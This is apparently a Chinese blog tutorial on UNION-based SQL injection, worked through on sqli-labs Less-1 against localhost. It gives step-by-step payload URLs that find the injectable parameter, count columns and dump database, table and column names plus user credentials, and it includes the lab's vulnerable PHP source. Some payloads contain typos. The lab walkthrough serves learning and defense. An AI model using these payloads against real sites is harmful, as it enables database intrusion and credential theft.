SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)

SQL注入介绍

什么是SQL注入:
SQL注入是(SQLi)是一种注入攻击,可以执行恶意的SQL语句,它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或者web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

SQL注入的原理:
用户输入的数据被当作代码拼接到代码语句里面执行,造成一些不可估量的后果

危害:
你的数据被别人窃取,甚至被别人全部删除。

有输入输出的地方,就可能存在安全问题



SQL注入基础

  • 一个可利用的数据库
    information_schema
  • information_schema库的一些可利用的表

SCHEMATA表
schemata表存储该用户创建的所有数据库的库名。要记住该表中记录数据库库名的字段名为SCHEMA_NAME

TABLES表
TABLES表存储该用户创建的所有数据库的库名和表名
           字段名 table_name    table_schema

table_name存储这个数据库对应数据库名的里面的表的值
table_schema是储存了这个数据库所有数据库名的字段

COLUMNS表
COLUMNS表存储该用户创建的所有数据库的库名、表名和字段名
           字段名 table_schema   table_name   column_name

table_schema存的是数据库里面所有的数据库名
table_name对应数据库名的表名
column_name存储的是对应表名的字段名

在这里插入图片描述
在这里插入图片描述

mysql函数利用

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

  • 常见的注释符
    #或 - - 空格 或/**/
    内联注释:
    内联注释的形式:/*! code /。内联注释可以用于整个SQL语句中,用来执行我们的SQL语句

index.php?id=-15 /* ! UNION*/ /* ! SELECT*/ 1,2,3

/**/在mysql中是多行注释,但是里面如果加了感叹号!那么后面的内容会被执行(内联注释绕过)



SQL注入的种类:

介绍一些常见的几种手法吧!
在这里插入图片描述

1、union联合注入过程

第一步、测试注入点(一些小tips:利用引号,and 1=1, or 1=1之类的)判断是字符型还是数字型
第二步、利用order by查表的列数
第三步、如有回显,找到回显位(回显,就是显示正在执行的批处理命令及执行的结果等)
第四步、利用union select 爆库、爆表、爆字段名、爆值

接下来以sql-lab第一关来演示一下union联合注入

sql-lab第一关:

在这里插入图片描述
输入id=1——》http://127.0.0.1/sqli/Less-1/?id=1
在这里插入图片描述
step1、测试注入点(一些小tips:利用引号,and 1=1, or 1=1之类的)判断是字符型还是数字型

当加引号时:http://127.0.0.1/sqli/Less-1/?id=1’——》报错
在这里插入图片描述
当单引号后面添加注释符时:http://127.0.0.1/sqli/Less-1/?id=1%’ - -+(+表示空格) ——》成功,有回显
在这里插入图片描述
从这就可以判断它是一个字符型的,并且存在sql注入

step2、利用order by查表的列数

看一下表回显的列数,从1开始查起:http://127.0.0.1/sqli/Less-1/?id=1‘ order by --+
order by 1/2/3的时候都会成功回显(/表示或)
当输入order by 4的时候:
在这里插入图片描述
没有第四列,所以可以判断这个表有三列

step3、如有回显,找到回显位(回显位就是能够显示你查询信息的地方)

利用union select找回显位:
在这里插入图片描述
这里为什么是id=-1?因为id=-1时返回的是一张空表
然后用union select联合查询1,2,3它也会返回一张1,2,3的表,一张空表和一张带有1,2,3的表进行拼接,就会返回后面这张表(要保证前后两张表列数是一样的,这也是为什么要用order by 查询这张表有多少列的原因)

在这里插入图片描述
可以看到2和3这个位置可以回显我们的信息的

step4、利用union select 暴库、爆表、爆字段名、爆值

先爆库
利用database()来返回数据库(写在2或3的位置上都可以)
http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,2,database() --+
在这里插入图片描述
如果写成http://127.0.0.1/sqli/Less-1/?id=1‘ order by 1,database(),3 --+
在这里插入图片描述

可以发现它的数据库是security,找到它数据库名字之后,再去找表名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
在这里插入图片描述
由上图可知security这个数据库存放了emails,referers,uagents, users这四张表


下面看一看users这个表有哪些字段名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’ --+
在这里插入图片描述
由上图可以发现user表中字段名有id,username,password


最后就是去爆这些字段名的数据(对应的值)
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(username) from users - -+
由下图可知有这些用户名在这里插入图片描述
同理要找密码的话:
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(password) from users- -+
在这里插入图片描述

打开第一关后端语言的代码分析一下吧!
在这里插入图片描述

MYSQL中group_concat()/concat()/concat_ws/substr()函数

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述注意start是从1开始的

打开index.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

没有对用户输入的id进行过滤,导致我们想输入什么就输入什么
在这里插入图片描述
当输入id=-1’的时候把单引号闭合了

$sql=“SELECT * FROM users WHERE id= ’ $id’ union select XXXX #’LIMIT 0,1”;
上面语句中红色部分是我们传进去的值: $ id后面的那个单引号和前面那个单引号形成闭合, #将后面部分注释

防御措施
1、过滤危险字符
2、做到数据和代码分离

2、时间盲注

3、布尔盲注

4、堆叠注入

5、通过sql注入写webshell

  • 8
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值